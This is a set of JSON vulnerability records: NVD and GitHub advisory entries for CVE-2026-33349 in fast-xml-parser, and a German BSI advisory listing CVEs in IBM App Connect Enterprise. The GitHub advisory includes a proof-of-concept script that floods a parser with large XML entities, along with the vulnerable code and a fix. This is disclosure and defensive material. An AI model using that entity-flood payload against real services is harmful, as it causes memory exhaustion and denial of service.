{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:naturalintelligence:fast-xml-parser:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "A781B124-CD04-4153-A726-B3A19A51DA7D",
              "versionEndExcluding": "4.5.5",
              "versionStartIncluding": "4.0.1",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:naturalintelligence:fast-xml-parser:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "E6A6A49B-279E-44B2-9936-F04662193F43",
              "versionEndExcluding": "5.5.7",
              "versionStartIncluding": "5.0.0",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:naturalintelligence:fast-xml-parser:4.0.0:-:*:*:*:*:*:*",
              "matchCriteriaId": "2398B145-2ED8-4197-8838-FAE7AD7666E7",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:naturalintelligence:fast-xml-parser:4.0.0:beta3:*:*:*:*:*:*",
              "matchCriteriaId": "44B6C4BE-69F4-4651-80EE-055D1F99F7EF",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:naturalintelligence:fast-xml-parser:4.0.0:beta4:*:*:*:*:*:*",
              "matchCriteriaId": "4B32E8C4-15A7-466D-98A7-9EDD6B45F883",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:naturalintelligence:fast-xml-parser:4.0.0:beta5:*:*:*:*:*:*",
              "matchCriteriaId": "23CDA792-75FA-48A7-8577-4266A0BFB3A7",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:naturalintelligence:fast-xml-parser:4.0.0:beta6:*:*:*:*:*:*",
              "matchCriteriaId": "D4B7FD7D-0059-4D5B-898D-539AB43AA24A",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:naturalintelligence:fast-xml-parser:4.0.0:beta7:*:*:*:*:*:*",
              "matchCriteriaId": "42844DDE-AD5B-4684-8104-1C2D133C6098",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:naturalintelligence:fast-xml-parser:4.0.0:beta8:*:*:*:*:*:*",
              "matchCriteriaId": "C045B7F2-16A9-47C9-B08D-71847A940B93",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. From version 4.0.0-beta.3 to before version 5.5.7, the DocTypeReader in fast-xml-parser uses JavaScript truthy checks to evaluate maxEntityCount and maxEntitySize configuration limits. When a developer explicitly sets either limit to 0 \u2014 intending to disallow all entities or restrict entity size to zero bytes \u2014 the falsy nature of 0 in JavaScript causes the guard conditions to short-circuit, completely bypassing the limits. An attacker who can supply XML input to such an application can trigger unbounded entity expansion, leading to memory exhaustion and denial of service. This issue has been patched in version 5.5.7."
    },
    {
      "lang": "es",
      "value": "fast-xml-parser permite a los usuarios procesar XML desde un objeto JS sin bibliotecas basadas en C/C++ o callbacks. Desde la versi\u00f3n 4.0.0-beta.3 hasta antes de la versi\u00f3n 5.5.7, el DocTypeReader en fast-xml-parser utiliza comprobaciones de veracidad (truthy checks) de JavaScript para evaluar los l\u00edmites de configuraci\u00f3n maxEntityCount y maxEntitySize. Cuando un desarrollador establece expl\u00edcitamente cualquiera de los l\u00edmites en 0 \u2014con la intenci\u00f3n de no permitir ninguna entidad o restringir el tama\u00f1o de la entidad a cero bytes\u2014 la naturaleza \u0027falsy\u0027 de 0 en JavaScript hace que las condiciones de guardia se cortocircuiten, omitiendo completamente los l\u00edmites. Un atacante que pueda proporcionar entrada XML a dicha aplicaci\u00f3n puede desencadenar una expansi\u00f3n de entidad ilimitada, lo que lleva al agotamiento de la memoria y a la denegaci\u00f3n de servicio. Este problema ha sido parcheado en la versi\u00f3n 5.5.7."
    }
  ],
  "id": "CVE-2026-33349",
  "lastModified": "2026-03-26T13:01:52.857",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 5.9,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.2,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-03-24T20:16:29.407",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/commit/239b64aa1fc5c5455ddebbbb54a187eb68c9fdb7"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-jp2q-39xq-3w4g"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-jp2q-39xq-3w4g"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-1284"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "fast-xml-parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0-beta.3"
            },
            {
              "fixed": "4.5.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "fast-xml-parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.5.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33349"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1284"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-19T19:13:13Z",
    "nvd_published_at": "2026-03-24T20:16:29Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `DocTypeReader` in fast-xml-parser uses JavaScript truthy checks to evaluate `maxEntityCount` and `maxEntitySize` configuration limits. When a developer explicitly sets either limit to `0` \u2014 intending to disallow all entities or restrict entity size to zero bytes \u2014 the falsy nature of `0` in JavaScript causes the guard conditions to short-circuit, completely bypassing the limits. An attacker who can supply XML input to such an application can trigger unbounded entity expansion, leading to memory exhaustion and denial of service.\n\n## Details\n\nThe `OptionsBuilder.js` correctly preserves a user-supplied value of `0` using nullish coalescing (`??`):\n\n```js\n// src/xmlparser/OptionsBuilder.js:111\nmaxEntityCount: value.maxEntityCount ?? 100,\n// src/xmlparser/OptionsBuilder.js:107\nmaxEntitySize: value.maxEntitySize ?? 10000,\n```\n\nHowever, `DocTypeReader.js` uses truthy evaluation to check these limits. Because `0` is falsy in JavaScript, the entire guard expression short-circuits to `false`, and the limit is never enforced:\n\n```js\n// src/xmlparser/DocTypeReader.js:30-32\nif (this.options.enabled !== false \u0026\u0026\n    this.options.maxEntityCount \u0026\u0026          // \u2190 0 is falsy, skips check\n    entityCount \u003e= this.options.maxEntityCount) {\n    throw new Error(`Entity count ...`);\n}\n```\n\n```js\n// src/xmlparser/DocTypeReader.js:128-130\nif (this.options.enabled !== false \u0026\u0026\n    this.options.maxEntitySize \u0026\u0026            // \u2190 0 is falsy, skips check\n    entityValue.length \u003e this.options.maxEntitySize) {\n    throw new Error(`Entity \"${entityName}\" size ...`);\n}\n```\n\nThe execution flow is:\n\n1. Developer configures `processEntities: { maxEntityCount: 0, maxEntitySize: 0 }` intending to block all entity definitions.\n2. `OptionsBuilder.normalizeProcessEntities` preserves the `0` values via `??` (correct behavior).\n3. Attacker supplies XML with a DOCTYPE containing many large entities.\n4. `DocTypeReader.readDocType` evaluates `this.options.maxEntityCount \u0026\u0026 ...` \u2014 since `0` is falsy, the entire condition is `false`.\n5. `DocTypeReader.readEntityExp` evaluates `this.options.maxEntitySize \u0026\u0026 ...` \u2014 same result.\n6. All entity count and size limits are bypassed; entities are parsed without restriction.\n\n## PoC\n\n```js\nconst { XMLParser } = require(\"fast-xml-parser\");\n\n// Developer intends: \"no entities allowed at all\"\nconst parser = new XMLParser({\n  processEntities: {\n    enabled: true,\n    maxEntityCount: 0,    // should mean \"zero entities allowed\"\n    maxEntitySize: 0       // should mean \"zero-length entities only\"\n  }\n});\n\n// Generate XML with many large entities\nlet entities = \"\";\nfor (let i = 0; i \u003c 1000; i++) {\n  entities += `\u003c!ENTITY e${i} \"${\"A\".repeat(100000)}\"\u003e`;\n}\n\nconst xml = `\u003c?xml version=\"1.0\"?\u003e\n\u003c!DOCTYPE foo [\n  ${entities}\n]\u003e\n\u003cfoo\u003e\u0026e0;\u003c/foo\u003e`;\n\n// This should throw \"Entity count exceeds maximum\" but does not\ntry {\n  const result = parser.parse(xml);\n  console.log(\"VULNERABLE: parsed without error, entities bypassed limits\");\n} catch (e) {\n  console.log(\"SAFE:\", e.message);\n}\n\n// Control test: setting maxEntityCount to 1 correctly blocks\nconst safeParser = new XMLParser({\n  processEntities: {\n    enabled: true,\n    maxEntityCount: 1,\n    maxEntitySize: 100\n  }\n});\n\ntry {\n  safeParser.parse(xml);\n  console.log(\"ERROR: should have thrown\");\n} catch (e) {\n  console.log(\"CONTROL:\", e.message);  // \"Entity count (2) exceeds maximum allowed (1)\"\n}\n```\n\n**Expected output:**\n```\nVULNERABLE: parsed without error, entities bypassed limits\nCONTROL: Entity count (2) exceeds maximum allowed (1)\n```\n\n## Impact\n\n- **Denial of Service:** An attacker supplying crafted XML with thousands of large entity definitions can exhaust server memory in applications where the developer configured `maxEntityCount: 0` or `maxEntitySize: 0`, intending to prohibit entities entirely.\n- **Security control bypass:** Developers who explicitly set restrictive limits to `0` receive no protection \u2014 the opposite of their intent. This creates a false sense of security.\n- **Scope:** Only applications that explicitly set these limits to `0` are affected. The default configuration (`maxEntityCount: 100`, `maxEntitySize: 10000`) is not vulnerable. The `enabled: false` option correctly disables entity processing entirely and is not affected.\n\n## Recommended Fix\n\nReplace the truthy checks in `DocTypeReader.js` with explicit type checks that correctly treat `0` as a valid numeric limit:\n\n```js\n// src/xmlparser/DocTypeReader.js:30-32 \u2014 replace:\nif (this.options.enabled !== false \u0026\u0026\n    this.options.maxEntityCount \u0026\u0026\n    entityCount \u003e= this.options.maxEntityCount) {\n\n// with:\nif (this.options.enabled !== false \u0026\u0026\n    typeof this.options.maxEntityCount === \u0027number\u0027 \u0026\u0026\n    entityCount \u003e= this.options.maxEntityCount) {\n```\n\n```js\n// src/xmlparser/DocTypeReader.js:128-130 \u2014 replace:\nif (this.options.enabled !== false \u0026\u0026\n    this.options.maxEntitySize \u0026\u0026\n    entityValue.length \u003e this.options.maxEntitySize) {\n\n// with:\nif (this.options.enabled !== false \u0026\u0026\n    typeof this.options.maxEntitySize === \u0027number\u0027 \u0026\u0026\n    entityValue.length \u003e this.options.maxEntitySize) {\n```\n\n# Workaround\n\nIf you don\u0027t want to processed the entities, keep the processEntities flag to false instead of setting any limit to 0.",
  "id": "GHSA-jp2q-39xq-3w4g",
  "modified": "2026-04-08T22:27:44Z",
  "published": "2026-03-19T19:13:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-jp2q-39xq-3w4g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33349"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/commit/239b64aa1fc5c5455ddebbbb54a187eb68c9fdb7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/commit/88d0936a23dabe51bfbf42255e2ce912dfee2221"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Entity Expansion Limits Bypassed When Set to Zero Due to JavaScript Falsy Evaluation in fast-xml-parser"
}

{
  "document": {
    "aggregate_severity": {
      "text": "hoch"
    },
    "category": "csaf_base",
    "csaf_version": "2.0",
    "distribution": {
      "tlp": {
        "label": "WHITE",
        "url": "https://www.first.org/tlp/"
      }
    },
    "lang": "de-DE",
    "notes": [
      {
        "category": "legal_disclaimer",
        "text": "Das BSI ist als Anbieter f\u00fcr die eigenen, zur Nutzung bereitgestellten Inhalte nach den allgemeinen Gesetzen verantwortlich. Nutzerinnen und Nutzer sind jedoch daf\u00fcr verantwortlich, die Verwendung und/oder die Umsetzung der mit den Inhalten bereitgestellten Informationen sorgf\u00e4ltig im Einzelfall zu pr\u00fcfen."
      },
      {
        "category": "description",
        "text": "IBM App Connect Enterprise kombiniert die branchenbew\u00e4hrten Technologien des IBM Integration Bus mit Cloud-nativen Technologien.",
        "title": "Produktbeschreibung"
      },
      {
        "category": "summary",
        "text": "Ein Angreifer kann mehrere Schwachstellen in IBM App Connect Enterprise Certified Container ausnutzen, um beliebigen Code auszuf\u00fchren, Sicherheitsma\u00dfnahmen zu umgehen, Cross-Site-Scripting-Angriffe durchzuf\u00fchren, Daten zu manipulieren, vertrauliche Informationen offenzulegen oder einen Denial-of-Service-Zustand zu verursachen.",
        "title": "Angriff"
      },
      {
        "category": "general",
        "text": "- Sonstiges\n- UNIX\n- Windows",
        "title": "Betroffene Betriebssysteme"
      }
    ],
    "publisher": {
      "category": "other",
      "contact_details": "csaf-provider@cert-bund.de",
      "name": "Bundesamt f\u00fcr Sicherheit in der Informationstechnik",
      "namespace": "https://www.bsi.bund.de"
    },
    "references": [
      {
        "category": "self",
        "summary": "WID-SEC-W-2026-1407 - CSAF Version",
        "url": "https://wid.cert-bund.de/.well-known/csaf/white/2026/wid-sec-w-2026-1407.json"
      },
      {
        "category": "self",
        "summary": "WID-SEC-2026-1407 - Portal Version",
        "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-1407"
      },
      {
        "category": "external",
        "summary": "IBM Security Bulletin 7271907 vom 2026-05-06",
        "url": "https://www.ibm.com/support/pages/node/7271907"
      },
      {
        "category": "external",
        "summary": "IBM Security Bulletin 7271908 vom 2026-05-06",
        "url": "https://www.ibm.com/support/pages/node/7271908"
      },
      {
        "category": "external",
        "summary": "IBM Security Bulletin 7271910 vom 2026-05-06",
        "url": "https://www.ibm.com/support/pages/node/7271910"
      },
      {
        "category": "external",
        "summary": "Fedora Security Advisory FEDORA-2026-85B819B928 vom 2026-05-08",
        "url": "https://bodhi.fedoraproject.org/updates/FEDORA-2026-85b819b928"
      },
      {
        "category": "external",
        "summary": "Red Hat Security Advisory RHSA-2026:17123 vom 2026-05-13",
        "url": "https://access.redhat.com/errata/RHSA-2026:17123"
      },
      {
        "category": "external",
        "summary": "Red Hat Security Advisory RHSA-2026:17449 vom 2026-05-20",
        "url": "https://access.redhat.com/errata/RHSA-2026:17449"
      }
    ],
    "source_lang": "en-US",
    "title": "IBM App Connect Enterprise Certified Container: Mehrere Schwachstellen",
    "tracking": {
      "current_release_date": "2026-05-20T22:00:00.000+00:00",
      "generator": {
        "date": "2026-05-21T07:57:58.711+00:00",
        "engine": {
          "name": "BSI-WID",
          "version": "1.6.0"
        }
      },
      "id": "WID-SEC-W-2026-1407",
      "initial_release_date": "2026-05-06T22:00:00.000+00:00",
      "revision_history": [
        {
          "date": "2026-05-06T22:00:00.000+00:00",
          "number": "1",
          "summary": "Initiale Fassung"
        },
        {
          "date": "2026-05-07T22:00:00.000+00:00",
          "number": "2",
          "summary": "Neue Updates von Fedora aufgenommen"
        },
        {
          "date": "2026-05-14T22:00:00.000+00:00",
          "number": "3",
          "summary": "Neue Updates von Red Hat aufgenommen"
        },
        {
          "date": "2026-05-20T22:00:00.000+00:00",
          "number": "4",
          "summary": "Neue Updates von Red Hat aufgenommen"
        }
      ],
      "status": "final",
      "version": "4"
    }
  },
  "product_tree": {
    "branches": [
      {
        "branches": [
          {
            "category": "product_name",
            "name": "Fedora Linux",
            "product": {
              "name": "Fedora Linux",
              "product_id": "74185",
              "product_identification_helper": {
                "cpe": "cpe:/o:fedoraproject:fedora:-"
              }
            }
          }
        ],
        "category": "vendor",
        "name": "Fedora"
      },
      {
        "branches": [
          {
            "branches": [
              {
                "category": "product_version_range",
                "name": "Certified Container Operator \u003c13.1.0",
                "product": {
                  "name": "IBM App Connect Enterprise Certified Container Operator \u003c13.1.0",
                  "product_id": "T053656"
                }
              },
              {
                "category": "product_version",
                "name": "Certified Container Operator 13.1.0",
                "product": {
                  "name": "IBM App Connect Enterprise Certified Container Operator 13.1.0",
                  "product_id": "T053656-fixed",
                  "product_identification_helper": {
                    "cpe": "cpe:/a:ibm:app_connect_enterprise:certified_container_operator__13.1.0"
                  }
                }
              },
              {
                "category": "product_version_range",
                "name": "Certified Container Operator \u003c12.0.23",
                "product": {
                  "name": "IBM App Connect Enterprise Certified Container Operator \u003c12.0.23",
                  "product_id": "T053657"
                }
              },
              {
                "category": "product_version",
                "name": "Certified Container Operator 12.0.23",
                "product": {
                  "name": "IBM App Connect Enterprise Certified Container Operator 12.0.23",
                  "product_id": "T053657-fixed",
                  "product_identification_helper": {
                    "cpe": "cpe:/a:ibm:app_connect_enterprise:certified_container_operator__12.0.23"
                  }
                }
              }
            ],
            "category": "product_name",
            "name": "App Connect Enterprise"
          }
        ],
        "category": "vendor",
        "name": "IBM"
      },
      {
        "branches": [
          {
            "branches": [
              {
                "category": "product_name",
                "name": "Red Hat Enterprise Linux",
                "product": {
                  "name": "Red Hat Enterprise Linux",
                  "product_id": "67646",
                  "product_identification_helper": {
                    "cpe": "cpe:/o:redhat:enterprise_linux:-"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "9 Multicluster Engine for Kubernetes 2.8.6",
                "product": {
                  "name": "Red Hat Enterprise Linux 9 Multicluster Engine for Kubernetes 2.8.6",
                  "product_id": "T054027",
                  "product_identification_helper": {
                    "cpe": "cpe:/o:redhat:enterprise_linux:9_multicluster_engine_for_kubernetes_2.8.6"
                  }
                }
              }
            ],
            "category": "product_name",
            "name": "Enterprise Linux"
          }
        ],
        "category": "vendor",
        "name": "Red Hat"
      }
    ]
  },
  "vulnerabilities": [
    {
      "cve": "CVE-2026-26013",
      "product_status": {
        "known_affected": [
          "67646",
          "T053657",
          "T053656",
          "T054027",
          "74185"
        ]
      },
      "release_date": "2026-05-06T22:00:00.000+00:00",
      "title": "CVE-2026-26013"
    },
    {
      "cve": "CVE-2026-27142",
      "product_status": {
        "known_affected": [
          "67646",
          "T053657",
          "T053656",
          "T054027",
          "74185"
        ]
      },
      "release_date": "2026-05-06T22:00:00.000+00:00",
      "title": "CVE-2026-27142"
    },
    {
      "cve": "CVE-2026-28277",
      "product_status": {
        "known_affected": [
          "67646",
          "T053657",
          "T053656",
          "T054027",
          "74185"
        ]
      },
      "release_date": "2026-05-06T22:00:00.000+00:00",
      "title": "CVE-2026-28277"
    },
    {
      "cve": "CVE-2026-28684",
      "product_status": {
        "known_affected": [
          "67646",
          "T053657",
          "T053656",
          "T054027",
          "74185"
        ]
      },
      "release_date": "2026-05-06T22:00:00.000+00:00",
      "title": "CVE-2026-28684"
    },
    {
      "cve": "CVE-2026-32288",
      "product_status": {
        "known_affected": [
          "67646",
          "T053657",
          "T053656",
          "T054027",
          "74185"
        ]
      },
      "release_date": "2026-05-06T22:00:00.000+00:00",
      "title": "CVE-2026-32288"
    },
    {
      "cve": "CVE-2026-33151",
      "product_status": {
        "known_affected": [
          "67646",
          "T053657",
          "T053656",
          "T054027",
          "74185"
        ]
      },
      "release_date": "2026-05-06T22:00:00.000+00:00",
      "title": "CVE-2026-33151"
    },
    {
      "cve": "CVE-2026-33349",
      "product_status": {
        "known_affected": [
          "67646",
          "T053657",
          "T053656",
          "T054027",
          "74185"
        ]
      },
      "release_date": "2026-05-06T22:00:00.000+00:00",
      "title": "CVE-2026-33349"
    },
    {
      "cve": "CVE-2026-33532",
      "product_status": {
        "known_affected": [
          "67646",
          "T053657",
          "T053656",
          "T054027",
          "74185"
        ]
      },
      "release_date": "2026-05-06T22:00:00.000+00:00",
      "title": "CVE-2026-33532"
    },
    {
      "cve": "CVE-2026-33891",
      "product_status": {
        "known_affected": [
          "67646",
          "T053657",
          "T053656",
          "T054027",
          "74185"
        ]
      },
      "release_date": "2026-05-06T22:00:00.000+00:00",
      "title": "CVE-2026-33891"
    },
    {
      "cve": "CVE-2026-33894",
      "product_status": {
        "known_affected": [
          "67646",
          "T053657",
          "T053656",
          "T054027",
          "74185"
        ]
      },
      "release_date": "2026-05-06T22:00:00.000+00:00",
      "title": "CVE-2026-33894"
    },
    {
      "cve": "CVE-2026-33895",
      "product_status": {
        "known_affected": [
          "67646",
          "T053657",
          "T053656",
          "T054027",
          "74185"
        ]
      },
      "release_date": "2026-05-06T22:00:00.000+00:00",
      "title": "CVE-2026-33895"
    },
    {
      "cve": "CVE-2026-33896",
      "product_status": {
        "known_affected": [
          "67646",
          "T053657",
          "T053656",
          "T054027",
          "74185"
        ]
      },
      "release_date": "2026-05-06T22:00:00.000+00:00",
      "title": "CVE-2026-33896"
    },
    {
      "cve": "CVE-2026-33916",
      "product_status": {
        "known_affected": [
          "67646",
          "T053657",
          "T053656",
          "T054027",
          "74185"
        ]
      },
      "release_date": "2026-05-06T22:00:00.000+00:00",
      "title": "CVE-2026-33916"
    },
    {
      "cve": "CVE-2026-34601",
      "product_status": {
        "known_affected": [
          "67646",
          "T053657",
          "T053656",
          "T054027",
          "74185"
        ]
      },
      "release_date": "2026-05-06T22:00:00.000+00:00",
      "title": "CVE-2026-34601"
    },
    {
      "cve": "CVE-2026-35469",
      "product_status": {
        "known_affected": [
          "67646",
          "T053657",
          "T053656",
          "T054027",
          "74185"
        ]
      },
      "release_date": "2026-05-06T22:00:00.000+00:00",
      "title": "CVE-2026-35469"
    },
    {
      "cve": "CVE-2026-39406",
      "product_status": {
        "known_affected": [
          "67646",
          "T053657",
          "T053656",
          "T054027",
          "74185"
        ]
      },
      "release_date": "2026-05-06T22:00:00.000+00:00",
      "title": "CVE-2026-39406"
    },
    {
      "cve": "CVE-2026-39407",
      "product_status": {
        "known_affected": [
          "67646",
          "T053657",
          "T053656",
          "T054027",
          "74185"
        ]
      },
      "release_date": "2026-05-06T22:00:00.000+00:00",
      "title": "CVE-2026-39407"
    },
    {
      "cve": "CVE-2026-39408",
      "product_status": {
        "known_affected": [
          "67646",
          "T053657",
          "T053656",
          "T054027",
          "74185"
        ]
      },
      "release_date": "2026-05-06T22:00:00.000+00:00",
      "title": "CVE-2026-39408"
    },
    {
      "cve": "CVE-2026-39409",
      "product_status": {
        "known_affected": [
          "67646",
          "T053657",
          "T053656",
          "T054027",
          "74185"
        ]
      },
      "release_date": "2026-05-06T22:00:00.000+00:00",
      "title": "CVE-2026-39409"
    },
    {
      "cve": "CVE-2026-39410",
      "product_status": {
        "known_affected": [
          "67646",
          "T053657",
          "T053656",
          "T054027",
          "74185"
        ]
      },
      "release_date": "2026-05-06T22:00:00.000+00:00",
      "title": "CVE-2026-39410"
    },
    {
      "cve": "CVE-2026-39983",
      "product_status": {
        "known_affected": [
          "67646",
          "T053657",
          "T053656",
          "T054027",
          "74185"
        ]
      },
      "release_date": "2026-05-06T22:00:00.000+00:00",
      "title": "CVE-2026-39983"
    },
    {
      "cve": "CVE-2026-40175",
      "product_status": {
        "known_affected": [
          "67646",
          "T053657",
          "T053656",
          "T054027",
          "74185"
        ]
      },
      "release_date": "2026-05-06T22:00:00.000+00:00",
      "title": "CVE-2026-40175"
    },
    {
      "cve": "CVE-2026-40347",
      "product_status": {
        "known_affected": [
          "67646",
          "T053657",
          "T053656",
          "T054027",
          "74185"
        ]
      },
      "release_date": "2026-05-06T22:00:00.000+00:00",
      "title": "CVE-2026-40347"
    },
    {
      "cve": "CVE-2026-40895",
      "product_status": {
        "known_affected": [
          "67646",
          "T053657",
          "T053656",
          "T054027",
          "74185"
        ]
      },
      "release_date": "2026-05-06T22:00:00.000+00:00",
      "title": "CVE-2026-40895"
    },
    {
      "cve": "CVE-2026-41238",
      "product_status": {
        "known_affected": [
          "67646",
          "T053657",
          "T053656",
          "T054027",
          "74185"
        ]
      },
      "release_date": "2026-05-06T22:00:00.000+00:00",
      "title": "CVE-2026-41238"
    },
    {
      "cve": "CVE-2026-41239",
      "product_status": {
        "known_affected": [
          "67646",
          "T053657",
          "T053656",
          "T054027",
          "74185"
        ]
      },
      "release_date": "2026-05-06T22:00:00.000+00:00",
      "title": "CVE-2026-41239"
    },
    {
      "cve": "CVE-2026-41240",
      "product_status": {
        "known_affected": [
          "67646",
          "T053657",
          "T053656",
          "T054027",
          "74185"
        ]
      },
      "release_date": "2026-05-06T22:00:00.000+00:00",
      "title": "CVE-2026-41240"
    },
    {
      "cve": "CVE-2026-4923",
      "product_status": {
        "known_affected": [
          "67646",
          "T053657",
          "T053656",
          "T054027",
          "74185"
        ]
      },
      "release_date": "2026-05-06T22:00:00.000+00:00",
      "title": "CVE-2026-4923"
    },
    {
      "cve": "CVE-2026-4926",
      "product_status": {
        "known_affected": [
          "67646",
          "T053657",
          "T053656",
          "T054027",
          "74185"
        ]
      },
      "release_date": "2026-05-06T22:00:00.000+00:00",
      "title": "CVE-2026-4926"
    }
  ]
}